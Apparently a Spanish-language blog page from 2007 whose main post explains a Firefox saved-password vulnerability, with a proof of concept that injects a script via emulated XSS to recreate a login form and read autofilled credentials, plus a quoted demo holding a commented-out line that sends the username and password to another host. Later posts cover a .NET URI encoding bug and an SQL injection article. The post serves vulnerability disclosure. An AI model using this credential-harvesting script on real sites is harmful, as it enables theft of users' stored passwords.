Firefox y el robo de contraseñas

Comentarios y prueba de concepto que demuestra la peligrosidad de la vulnerabilidad que permite el robo de contraseñas en Firefox

Actualización: Al parecer Firefox 2.0.0.6 RC1 y RC2 corrigen entre otras cosas, la ejecución remota de programas y esta vulnerabilidad.

A través de menéame, llegué a leer un artículo en el que intentan minimizar el impacto de la vulnerabilidad que permite el robo de contraseñas en Firefox. Haré algunos comentarios citando partes del contenido (negritas agregadas intencionalmente):

Veamos la demostración que nos proponen realizar:
http://www.heise-security.co.uk/services/browsercheck/demos/moz/pass1.shtml

[...]

No hay dudas de que la demostración realiza esto en caso de que hayamos indicado a Firefox que recuerde nuestra contraseña el momento de ingresarla. Sin embargo la demostración se está realizando en el mismo dominio y subdominio. Que sentido tiene esto si estamos en el mismo sitio? Acaso el sitio se roba a su propio sitio?

Para explotar esa vulnerabilidad de Firefox, sólo basta encontrar un bug XSS en cualquier parte de ese dominio (ver demo más abajo).

Ahora veamos el código del formulario de la demostración:

code:
<form method=”get” action=”#” name=”passtest”>
<input type=”text” name=”name”/>
<input type=”password” name=”password”/>
<input type=”submit” value=”submit”/>
</form>

Si vemos el código fuente de la "evil page", vemos un formulario similar con los mismos nombres de campos que el anterior.

Al ingresar los datos en el formulario de la demostración, se verá la siguiente URL tanto en Firefox como en Opera y IE7:

code:
http://www.heise-security.co.uk/services/browsercheck/demos/moz/pass1.shtml?name=miusuario&password=micontrase%F1a#

Para que es necesaria una “evil page” que revele las contraseñas si estas están siendo ya reveladas en la URL? Solo vean la barra de direcciones.

Por otro lado, yo me pregunto: acaso algún sitio serio va a implementar un sistema de contraseñas sin utilizar SSL? Es una locura, además sería responsabilidad del sitio que lo implementa y no del navegador. Ningún sitio en serio implementará contraseñas de ese tipo.

El redactor interpreta mal la prueba de concepto, porque en nigún momento usa la URL para obtener las credenciales, usa el siguiente script:

javascript:
<script>
// setTimeout("dosubmit()", 1000);
setTimeout("doit()", 1000);

function dosubmit()
{
  document.passtest.submit();
}

function doit()
{
   name = document.passtest.name.value;
   password = document.passtest.password.value;
   alert("Your username is: " + name + " and the password is: " + password);
   //document.location = "http://www.heise.de/security/dienste/browsercheck/demos/nc/psteal2.php?name=" + name + "&password=" + password;
}

</script>

Por otro lado, para explotar esta vulnerabilidad dá lo mismo si se usa SSL o no.

También me pregunto: es esta una demostración real o un simple truco? La demo corre en el mismo dominio y mismo subdominio. Si creamos una “evil page” en otro servidor, la demostración no funcionará.

Aparentemente el redactor no captó bien lo que se comenta en la página que describe ese bug o entendí mal sus palabras y no está consciente de los peligros de Cross Site Scripting. Preparé un pequeño demo en el que se simula que la página tiene una vulnerabilidad XSS y se hace uso de ésta para mostrar las credenciales almacenadas en Firefox:

php:
<?php header('Content-Type: text/html; charset=utf-8;'); ?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
    "http://www.w3.org/TR/xhtml1/DTD/xhtml-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en">
<head>
    <title>Firefox Demo</title> 
</head>

<body>
        <?php
        if ( isset($_GET['evil']) ) :
                /* Página vulnerable a XSS, podría ser cualquier página del dominio
                   para el que se guardan las credenciales */

                // echo $_GET['evil'];
                echo '<script src=http://codeout.org/wp-content/uploads/j.js></script>';
        else : ?>
    <form method="post" action="login.php">
            <input type="text" name="usr" />
                <input type="password" name="pass" />
                <input type="submit" name="login" value="Login &raquo;" />
        </form>
        <?php endif; ?>
       
</body>

</html>

El parámetro evil sirve para emular un bug XSS (por motivos de seguridad no envío ningún valor de evil al navegador), usando este parámetro se podría cargar el siguiente script en una página vulnerable:

javascript:
_c = function (tag, attr) {
        el = document.createElement(tag.toUpperCase());
        if (attr) for(k in attr) el[k] = attr[k];
        return el;
}
// Crear un formulario con los mismos nombres
var form = _c('form');
var user = _c('input', {type:'text', name:'usr'});
var pass = _c('input', {type:'password', name:'pass'});

form.appendChild(user);
form.appendChild(pass);
document.body.appendChild(form);

function showCredentials() {
        alert('Usuario: ' + user.value + ' -- Password:' + pass.value)
}

setTimeout("showCredentials()", 1000);

Esta prueba de concepto fue ejecutada con éxito en Firefox 2.0.0.5 y Windows XP (SP2), para reproducir este error primero tienen que guardar la contraseña para el siguiente formulario, si quieren ver vuestras credenciales almacenadas accedan a http://test.buayacorp.com/login.php?evil o http://test.buayacorp.com/fx.html.

Lo único acertado que veo en el artículo en cuestión, es la recomendación que se hace para establecer en false el valor de signon.prefillForms en la configuración de Firefox (about:config).

Firefox: Remote Command Execution

Remote Command Execution en Firefox 2.0.0.5, Firefox 3.0, Netscape 9 y Mozilla

Las mismas personas que reportaron el problema de seguridad que involucraba tanto a Internet Explorer como a Firefox, esta vez muestran más vulnerabilidades que no sólo afectan a todas las versiones de Firefox, sino también a Netscape Navigator 9 y Mozilla.

Pruebas de concepto:

Segun el hilo publicado en sla.ckers.org, se vienen más problemas de este tipo.

Problemas de codificación en .NET

El .NET Framework, al parecer usa diferentes codificaciones para realizar ciertas conversiones en algunos métodos/propiedades de ciertas clases (Ej. Assembly, Uri)

Hace poco, me acabo de topar con un bug bastante particular en una aplicación desarrollada en .NET. El problema radica en que el .NET Framework -- al parecer -- usa diferentes codificaciones para realizar ciertas conversiones en algunos métodos/propiedades de ciertas clases (Ej. Assembly, Uri).

Pude aislar el problema a lo siguiente:

csharp:
using System;
using System.Reflection;

class Program
{
    static void Main(string[] args)
    {
        string rutaEnsamblado = @"I:\tests\Administración\itextsharp.dll";

        Assembly ensamblado = Assembly.LoadFrom(rutaEnsamblado);

        Uri uri = new Uri(ensamblado.EscapedCodeBase);
       
        Console.WriteLine(ensamblado.EscapedCodeBase);
        Console.WriteLine(uri.LocalPath);

        uri = new Uri(@"file:///I:\tests\Administraci%c3%b3n\itextsharp.dll");
        Console.WriteLine("\nEn UTF-8: {0}", uri.LocalPath);
    }
}

Salida del programa:

[code num=1 start=1]file:///I:/tests/Administraci%F3n/itextsharp.dll I:\tests\Administraci?n\itextsharp.dll En UTF-8: I:\tests\Administración\itextsharp.dll[/code]

Salida de Encoding.Default:

code:
{System.Text.SBCSCodePageEncoding}
    [System.Text.SBCSCodePageEncoding]: {System.Text.SBCSCodePageEncoding}
    BodyName: "iso-8859-1"
    CodePage: 1252
    DecoderFallback: {System.Text.InternalDecoderBestFitFallback}
    EncoderFallback: {System.Text.InternalEncoderBestFitFallback}
    EncodingName: "Western European (Windows)"
    HeaderName: "Windows-1252"
    IsBrowserDisplay: true
    IsBrowserSave: true
    IsMailNewsDisplay: true
    IsMailNewsSave: true
    IsReadOnly: true
    IsSingleByte: true
    WebName: "Windows-1252"
    WindowsCodePage: 1252

En la línea 1 de la salida del programa, se puede ver que el caracter ó inicialmente es convertido en %F3 al invocar a EscapedCodeBase, pero en la propiedad LocalPath de la clase Uri, en mi opinión, intenta decodificarse este valor asumiendo que el mismo está en UTF-8, la prueba de esta afirmación es la línea 4.

Actualmente, sólo existe una solución parcial -- y fea -- a este problema, que es codificar manualmente ciertos caracteres. Si alguien tiene una alternativa mejor o sabe como establecer la codificación por omisión de una aplicación sin tener que tocar la configuración del sistema operativo, estaré muy agradecido. 🙂

Inyecciones SQL Hakin9

Inyecciones SQL en la revista Hakin9
A modo de offtopic (no soy partidario de el pero una vez es una vez :P) os quería decir que ya ha salido mi articulo para la revista de seguridad informática Hakin9 de este mes (Julio).

En el hablo de las inyecciones de código SQL (muy famosas ya) y de algunas técnicas más, para los interesados el próximo mes publicare aquí el contenido integro del articulo.